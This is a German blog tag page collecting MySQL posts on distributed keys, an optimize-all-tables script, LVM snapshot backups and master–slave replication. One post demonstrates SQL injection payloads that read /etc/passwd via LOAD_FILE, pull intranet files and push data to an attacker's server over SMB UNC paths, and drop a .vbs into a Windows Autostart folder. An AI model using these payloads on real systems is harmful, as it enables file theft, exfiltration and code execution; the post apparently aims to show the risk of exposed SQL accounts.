Posts Tagged With 'mysql'

  • Aug
  • 01
  • 2010

MySQL verteilte Daten

Posted by okami In Datenbanken | No Comments »

Anbei eine kleine Idee für alle, die verteilte Datenhaltung haben, und dazu eine architektonisch recht einfache Synchronisation brauchen. Manchmal kommt aus diversen Gründen ein Replikationsmechanismus nicht in Frage. Dafür nun die folgende Idee. Wir nutzen dabei aus, dass MySQL bei zusammengesetzten Indizes einen AUTO_INCREMENT-Wert pro distinktem Schlüsselpräfix zählt.

Das heißt ganz konkret: Wir legen einen Primär-Schlüssel aus zwei Spalten zusammen. In der ersten Spalte verwenden wir einen sehr kleinen Wert, der die Quelle der Daten kennzeichnet: Source tinyint unsigned NOT NULL; Den zweiten Teil legen wir als einfache ID int unsigned NOT NULL AUTO_INCREMENT an. Und ein Timestamp-Wert bietet sich für das Triggern der Updates an. Unsere Tabellen haben dann mindestens folgende Form:

CREATE TABLE `<table_name>` (
  `Source` tinyint unsigned NOT NULL,
  `ID` int unsigned NOT NULL AUTO_INCREMENT,
  `Timestamp` timestamp,
  PRIMARY KEY (`Source`, `ID`)
);

MySQL wird also die Spalte `ID` pro distinktem Wert der Spalte `Source` inkrementieren. So können wir nun den jeweiligen Applikationen eine eindeutige Source-Kennung zuweisen, z.B. eine Filial-Nummer oder eine Server-Nummerierung. Der Synchronisationsalgorithmus kann dann die jeweiligen Datenbanken zusammentragen, ohne dass es zu Konflikten in den Schlüsseln kommen kann.

Im speziellen Fall “Two-Way-Synchronization“, der zum Beispiel offline- und online-Datenerfassungen abbilden könnte, werden geänderte und neue Datensätze von jeweils einer zur anderen Datenbank geschrieben. In beiden Fällen läuft die Synchronisation mit der jeweiligen Source-Kennung, sodass auch gelöschte Sätze in der Zieldatenbank gefunden und ebenfalls gelöscht werden kann, ohne dass es zu Doppeldeutigkeiten kommt.

  • Jun
  • 10
  • 2010

load_file() spielereien

Posted by okami In Datenbanken, Howtos | 1 Comment »

Da mancher Orts noch das Verständnis fehlt, warum es eben nicht nur ein paar Datensätze betrifft, wenn jemand Zuriff über einen SQL Account hat, möchte ich hier mal kurz aufzeigen welche Möglichkeiten prinzipiell zur Verfügung stehen. Eine sehr schöne und einfache Variante ist mittels load_file() und angeschlossene.

Grundlage ist z.b. folgender Query:

select 1,LOAD_FILE("/etc/passwd");

Wenn man das Ganze in einem SQL Injection verarbeitet, würde unter bestimmten Bedingungen der Browser  dann über die Seite beispielsweise folgendes anzeigen:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Ok,  da kommt der erste und sagt das File muss Lese- und oder Schreibberechtigungen für Alle oder den Dienst besitzen … hier soll es uns um das Prinzip gehen und ja er hat recht. Im einfachsten Falle suche ich mir bekannte Konfigurationsfiles, .htaccess Dateien etc. und versuche die auszulesen und Butter bei die Fische in 10 von 100 Fällen wird man fündig. Schlampig gesetzte Berechtigungen öffnen einem hier Tür und Tor. Aber an dieser Stelle ist ja noch nicht aller Tage Abend …

select load_file("\\\\[ip | server_name]\\filename");
select 1 INTO OUTFILE "\\\\[ip | server_name]\\filename]";

Sind zwei weitere schöne Möglichkeiten um ans Ziel zu gelangen, im ersteren Falle ziehen wir uns über das SMB Protokoll eine beliebige Datei im zweiten Falle schreiben wir Daten über das SMB Protokoll an einen uns genehmen Platz und hey machen wir uns nichts vor – richtig konfigurierte Firewalls blockieren immer nur den eingehenden Verkehr auf ungenutzten Ports und erlauben immer sämtlichen Verkehr vom Host weg! ;-) Folgendes nicht unalltägliche Beispielszenario: Eine Firma betreibt einen Webserver auf dem Intranet und Webpräsenz zu gleich laufen, sprich ich kann über ein SQL Injection an allen Sicherheitsmechanismen vorbei Daten in das interne Netz schieben oder sie von dort downloaden.

UNION all select 1,2,load_file("\\\\intranet\\filename"),3,4 INTO OUTFILE "\\\\mein_server\\test";

Da höre ich schon wieder den nächsten Quäker, aber ich weiss doch gar nicht welche Netze … doch die MySQL Variablen report_host und oder hostname geben uns Aufschluss, ansonsten sind wir alle schlau genug zu wissen, welche Netze für den privaten Gebrauch reserviert sind. Wir waren gerade beim Netzwerk … da fällt mir doch noch was ein, DNS Abfrage für Datenbänker – host und dig kann jeder. Auch eine Möglichkeit den internen DNS nach Mustern in der Hostvergabe abzufragen um herauszubekommen welche Netze sich in der Tiefe befinden.

select ‘huhu welt.’ INTO OUTFILE ‘\\\\domain.net\\?save.txt’

Eine interessantes Anwendungsbeispiel ist z.B. in das Startverzeichnis eines Windows Host eine .vbs oder .cmd Datei abzulegen …

select ‘msgbox “pew pew”‘ INTO OUTFILE ‘\\\\192.168.0.x\\c$\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\grussundkuss.vbs’;

Ok und wer immer noch nicht genug hat, der läd sich eine Shell oder überschreibt Dateien.

  • Jun
  • 07
  • 2010

MySQL – Shell Script Optimize über alle Tabellen

Posted by okami In Datenbanken | 1 Comment »

Da es keinen Befehl gibt, wo man in allen Datenbanken gleich alle Tabellen optimieren kann, hier mal ein Script zum erleichtern …

#!/bin/bash
for db in $(echo "SHOW DATABASES;" | mysql -u$1 --password=$2 | grep -v -e "Database" -e "information_schema")
do
        TABLES=$(echo "USE $db; SHOW TABLES;" | mysql -u$1 --password=$2 |  grep -v Tables_in_)
        echo "Switching to database $db"
        for table in $TABLES
        do
                echo -n " * Optimizing table $table ... "
                echo "USE $db; OPTIMIZE TABLE $table" | mysql -u$1 --password=$2 >/dev/null
                echo "done."
        done
done
  • Jun
  • 03
  • 2010

MySQL Backup Strategien: LVM-Snapshots

Posted by okami In Datenbanken, Featured, Howtos | No Comments »
MySQL Backup Strategien: LVM-Snapshots

Master  – Slave mit LVM

Vorteile

  • Restorezeit ist wesentlich geringer bei großen Datenbanken und vielen Indexen (abhängig von Lese- und Netzwerggeschwindigkeit).
  • Geringe Ausfallzeit des Servers – keine Ausfallzeit des Arbeitsbetrieb
  • Der Master kann unbeeinträchtigt seine Arbeit vortsetzen.

Nachteile

  • “Eben mal” eine Tabelle oder Daten zurückspielen geht nicht, hierzu müssen wir ein kompletten Restore auf ein weiteres System durchführen, um dort mittels mysqldump die Daten zu extrahieren.

Szenario:

Wir benötigen mindestens 2 MySQL Instanzen die miteinander replizieren, damit verringern wir die Ausfallzeit auf 0. Also jedes beliebige Master – Slave oder Master – Master Szenaria, wobei wir am besten einen Slave für das Backup einrichten. Die Slave Instanz kann sich durchaus, wenn es Plattenplatz, CPU, RAM sowie die IO Werte zulassen, auf dem selben Host befinden. Eine Anleitung wie man eine Replikation aufsetzt findet man hier. Natürlich funktioniert das Ganze auch ohne Replikation, allerdings hat man dann, je nach Datenbank, eine Ausfallzeit von 10s – x Minuten. Wichtig, die my.cnf muss so angepasst werden, dass sich die Daten auf einem Logical Volumen (LVM) befinden. Darüber hinaus benötigen wir in der Volumengroup genügend Restplatz, damit uns der Snapshot nicht während des Backups vollläuft. Hier gibt es keine Faustformel das muss man einfach ausrechnen oder probieren.

In meinen Augen hat es sich relativ nützlich erwiesen die Konfiguration der MySQL Instanz wie folgt aufzugliedern:

  1. Das LV wird in ein Verzeichnis gemountet, beispielsweise /data.
  2. Unterhalb dieses Verzeichnisses werden unterschiedliche Verzeichnisse für binlogs, relaylogs, tmp, data sowie error und slowlog angelegt.

Das vereinfacht das Sichern insofern, dass wir hier nur bestimmte Verzeichnisse wegsichern müssen. Es ist auch keine schlechte Idee auf dem Slave das Binlog zu aktivieren und diese ebenfalls zu sichern (z.B. stündlich), damit wir ein sogenanntes Point in Time Recovery machen können (wird an einem späteren Zeitpunkt abgehandelt). Unsere my.cnf sieht dann an den entsprechenden Punkten wie folgt aus:

relay-log                      = /data/mysql-relaylog/relay.log
relay-log-info-file            = /data/mysql-relaylog/relay-log.info
relay-log-index                = /data/mysql-relaylog/relay-log.index
log_error                      = /data/mysql-log/mysql.err
log-slow-queries               = /data/mysql-log/slow_queries.log
log_bin                        = /data/mysql-binlog/mysql-bin.log
innodb_log_group_home_dir      = /data/mysql-data
innodb_log_arch_dir            = /data/mysql-data
innodb_data_home_dir           = /data/mysql-data
datadir                        = /data/mysql-data

Für den Fall, dass wir einen weiteren Slave oder Master wieder herstellen müssen, benötigen wir noch die Postion und das Binlogfile, damit wir die Replikation an diesem Punkt wieder aufsetzen können. Im Prinzip gehen wir im weiteren wie folgt vor: wir stoppen den MySQL Dienst, dann ermitteln wir Binlog File und Position des Masters, legen einen Snapshot an, starten den MySQL Dienst und dann können wir das Backup vom Snapshot starten. Das Vorabscript für den Backup Dienst könnte wie folgt aussehen – bitte beachten, die Pfade und Variablen an die eigene Umgebung anpassen (Volumen und Volumengroupbezeichnungen zum Beispiel).

#!/bin/sh
# Groesse des Snapshots
GROESSE=20G

# Name des Snapshot
NAME=mysql-backup

# Geraetedateiname
# hier das LVS anpassen
GERAET=/dev/db/data

# Mount-Punkt
MOUNT=/backup

# Spiegelgeraet
SPIEGEL=/dev/db/mysql-backup
# Stoppe Datenbank
echo
echo "Shutting down lively database  `date`"
echo
/etc/init.d/mysql stop

#gegebenen Fall diesen Wert anpassen, wenn die Datenbank länger braucht
sleep 3

# Erzeuge Restore Daten für Master - Master
name=$(tail -1 /data/mysql-binlog/mysql-bin.index)
size=$(stat -c '%s' ${name})
echo "binlog Position $name $size" > /data/mysql-data/db_restore.info

# Erzeuge Spiegel
lvcreate --size $GROESSE --snapshot --name $NAME $GERAET
ERGEBNIS1=`echo $?`

if [ $ERGEBNIS1 -ne 0 ]; then
echo
echo
echo "  -- F E H L E R -- "
echo
echo "  Starte Datenbank ohne Backup `date`"
echo
echo
/etc/init.d/mysql start
exit 22
fi

sleep 3

# starte Mysql wieder

echo
echo "Restarting lively database  `date`"
echo
/etc/init.d/mysql start

# pruefe auf mount und mounte Spiegel oder exit

mount | grep /backup
ERGEBNIS2=`echo $?`

if [ $ERGEBNIS2 -eq 0 ]; then
echo
echo
echo "  -- F E H L E R -- "
echo
echo "   Der Mount besteht bereits"
echo
echo
exit 23
else
mount -o ro $SPIEGEL $MOUNT
fi

exit 0

Das Resultat an dieser Stelle sollte ein Read only eingemounteter Snapshot unter /backup sein. Dem Backup Programm weisen wir jetzt nur noch an, die Verzeichnisse:

/backup/mysql-data
/backup/mysql-relaylog

zu sichern.

  • Mai
  • 18
  • 2010

MySQL – Recovery

Posted by okami In Datenbanken, Featured | 3 Comments »
MySQL - Recovery

Letztens bekam ich kurzzeitig einen Herzaussetzer, weil ich beim Restore des Datenbankbackups (LVM) bemerkte, dass doch die ib_logfiles nicht mit zurückgesichert wurden. Nachdem ich kurz nachgeschaut und fetsgestellt habe, dass die im Standardverzeichnis unter /var/lib/mysql herumdümpelten und nicht auf dem Logical Volume wo sie gesichert werden, wurde es erstmal finster ums Hirn. Hmm das passiert und zwar jeden Tag und wenn es solche Momente nicht gäbe, wäre ja alles irgendwie zu einfach …

Was tun, sprach Zeus?

Die Antwort findet sich in der MySQL Dokumentation. Allerdings für meine Begriffe völlig zu unrecht in “2 Nebensätzen” abgehandelt und wenn es brennt findet man das sowieso nie. Also aus diesen Anlass hier ein paar hilfreiche Tipps, Tricks und Anwendungsbeispiele um gecrashte, falsch gesicherte und sonstwie misshandelte Tabellen oder MySQL Instanzen wiederherzustellen, aber der Reihe nach.

  • Mrz
  • 20
  • 2010

Replikation mit MySQL 5.x

Posted by okami In Datenbanken, Featured | No Comments »
Replikation mit MySQL 5.x

Master – Slave Replikation:

Szenario:

Replikation aller Datenbanken eines Server zu Backupzwecken auf einen weiteren Server. Achtung: Dies kann auch erreicht werden, indem wir eine zusätzliche Instanz auf unseren vorhanden Server einrichten. Zunächst müssen wir sicherstellen, dass in der my.cnf folgende Einträge wie folgt vorhanden sind:

#bind-address           = 127.0.0.1
muss auskommentiert werden, damit die MySQL Instanz auf den externen Interfaces erreichbar ist

log-bin = /var/log/mysql/mysql-bin.log
hiermit schalten wir das binlog ein, welches zwingen notwendig für die Einrichtung einer Replikation ist, auf dem Slave können wir die Binlogs ebenfalls anschalten. (Backup)

server-id=1
diese IDs müssen auf den an der Replikation beteiligten Servern eingerichtet und unterschiedlich sein

expire_logs_days        = 10
gibt an, ab wieviel Tagen die Logs gelöscht werden

max_binlog_size         = 500M
die maximale Größe eines Binlogs

Danach starten wir MySQL auf dem Server neu:

/etc/init.d/mysql restart

Überprüfe dann mit

netstat -tanp | grep mysql

ob MySQL wirklich auf allen Interfaces hört:

okami:~# netstat -antp | grep mysql
tcp 0 0 *:mysql *:* LISTEN 2671/mysqld

Auf dem Master Server richten wir anschliessend den Benutzer für die Replikation ein:

mysql -u root -p

Führe in der MySQL Kommandozeile folgende Befehle aus:

GRANT REPLICATION SLAVE ON *.* TO ’replikation_user’@'IP_SLAVE’ IDENTIFIED BY ’replikation_passwort’;
FLUSH PRIVILEGES;
quit;

Das weitere Vorgehen ist davon abhängig ob wir schon Daten in der Datenbank haben, oder ob wir die Datenbank erst jungfräulich aufgesetzt haben.

Wenn Master und Slave sozusagen frisch aufgesetzt sind, noch keine Daten existieren, notieren wir auf dem Master Binlog und Binlogposition weg.

SHOW MASTER STATUS;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000009 |      112 |              |                  |
+------------------+----------+--------------+------------------+

Auf dem Slave passen wir die my.cnf wie folgt an:

#bind-address           = 127.0.0.1
server-id = 2

log-bin= /var/log/mysql/mysql-bin.log

relay-log = /var/lib/mysql/slave-relay.log
relay-log-index = /var/lib/mysql/slave-relay-log.index

expire_logs_days        = 10
max_binlog_size         = 500M

Danach starten wir MySQL auf dem Server neu:

/etc/init.d/mysql restart

und richten die Replikation ein hier werden die Werte von dem Masterserver verwendet

mysql -u root -p

CHANGE MASTER TO MASTER_HOST='IP_MASTER', MASTER_USER='replikation_user', MASTER_PASSWORD='replikation_password', MASTER_LOG_FILE='mysql-bin.000009', MASTER_LOG_POS=113;
START SLAVE;

Den Status der Replikation überprüfen wir mit:

SHOW SLAVE STATUS\G
*************************** 1. row ***************************
             Slave_IO_State: Waiting for master to send event
                Master_Host: IP_MASTER
                Master_User: replikation_user
                Master_Port: 3306
              Connect_Retry: 60
            Master_Log_File: mysql-bin.000009
        Read_Master_Log_Pos: 130
             Relay_Log_File: slave-relay-bin.000001
              Relay_Log_Pos: 00000004
      Relay_Master_Log_File: mysql-bin.000001
           Slave_IO_Running: Yes
          Slave_SQL_Running: Yes
            Replicate_Do_DB:
        Replicate_Ignore_DB:
         Replicate_Do_Table:
     Replicate_Ignore_Table:
    Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
                 Last_Errno: 0
                 Last_Error:
               Skip_Counter: 0
        Exec_Master_Log_Pos: 2
            Relay_Log_Space: 690471192
            Until_Condition: None
             Until_Log_File:
              Until_Log_Pos: 0
         Master_SSL_Allowed: No
         Master_SSL_CA_File:
         Master_SSL_CA_Path:
            Master_SSL_Cert:
          Master_SSL_Cipher:
             Master_SSL_Key:
      Seconds_Behind_Master: NULL
1 row in set (0.00 sec)

Wichtig: Slave_IO_Running und Slave_SQL_Running müssen auf Yes stehen. Anderen Falles stimmen z.B. die Userberechtigungen des Replikationsusers nicht, das Passwort ist nicht oder nicht richtig eingetragen, oder  die MySQL Instanz kann sich nicht zum Master verbinden(Port, Ip usw.). Wie solche DInge repariert werden folgt an anderer Stelle.

Wenn der Master schon Daten enthält müssen wir anders vorgehen. Hierzu gibt es mehrere Varianten – die von mir vorgestellte benutze ich fast wöchentlich um Replikationen neu Aufzusetzen. Wenn wir den Master und den Slave vorbereitet haben, ziehen wir uns ein Backup mit mysqldump auf dem Masterserver.

Achtung je nachdem welche Engines ihr benutzt und wie diese verwendet werden, kann es zu Problemen führen. Die INNODB – Variante berücksichtigt, dass nur in Innodbtabellen geschrieben wird und somit können wir im Livebetrieb ein konsistentes Backup für eine Replikation ziehen. Wenn Ihr auch MyISAM Tabellen im Einsatz habt und in diese auch geschrieben wird, muss die Datenbank erst gelocked werden, siehe weiter unten.

INNODB

mysqldump -uroot -p --triggers --routines --verbose --master-data=2 --flush-logs --single-transaction --all-databases | gzip -1 -c > /pfad/dump.sql.gz

MyISAM

mysql -uroot -p

FLUSH TABLES WITH READ LOCK;
SHOW MASTER STATUS;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000999 |      112 |              |                  |
+------------------+----------+--------------+------------------+

Damit haben wir den Master gelocked, sprich es können keine Daten in die Datenbank geschrieben werden.

mysqldump -u root -p --triggers --routines --verbose --all-databases | gzip -1 -c > /pfad/dump.sql.gz

Nachdem wir nun den Dump auf den Slave kopiert haben spielen wir ihn in die Datenbank ein:

gunzip -c /pfad/dump.sql.gz | mysql -uroot -p

INNODB

gunzip -c /pfad/dump.sql.gz | head -n22 | tail -n1
-- CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.122978', MASTER_LOG_POS=98;

mysql -uroot -p

CHANGE MASTER TO MASTER_HOST='IP_MASTER', MASTER_USER='replikation_user', MASTER_PASSWORD='replikation_password', MASTER_LOG_FILE='mysql-bin.122978', MASTER_LOG_POS=98;
START SLAVE;

MyISAM

Hier benutzen wir die Angaben aus dem SHOW MASTER Befehl des gelockten Masters.

mysql -uroot -p

CHANGE MASTER TO MASTER_HOST='IP_MASTER', MASTER_USER='replikation_user', MASTER_PASSWORD='replikation_password', MASTER_LOG_FILE='mysql-bin..000999', MASTER_LOG_POS=112;
START SLAVE;

Wenn wir überprüft haben, dass die Replikation läuft (SHOW SLAVE STATUS;) müssen wir in der MyISAM – Variante nur noch die Datenbanken auf dem Master wieder freigeben:

 UNLOCK TABLES;

Kategorien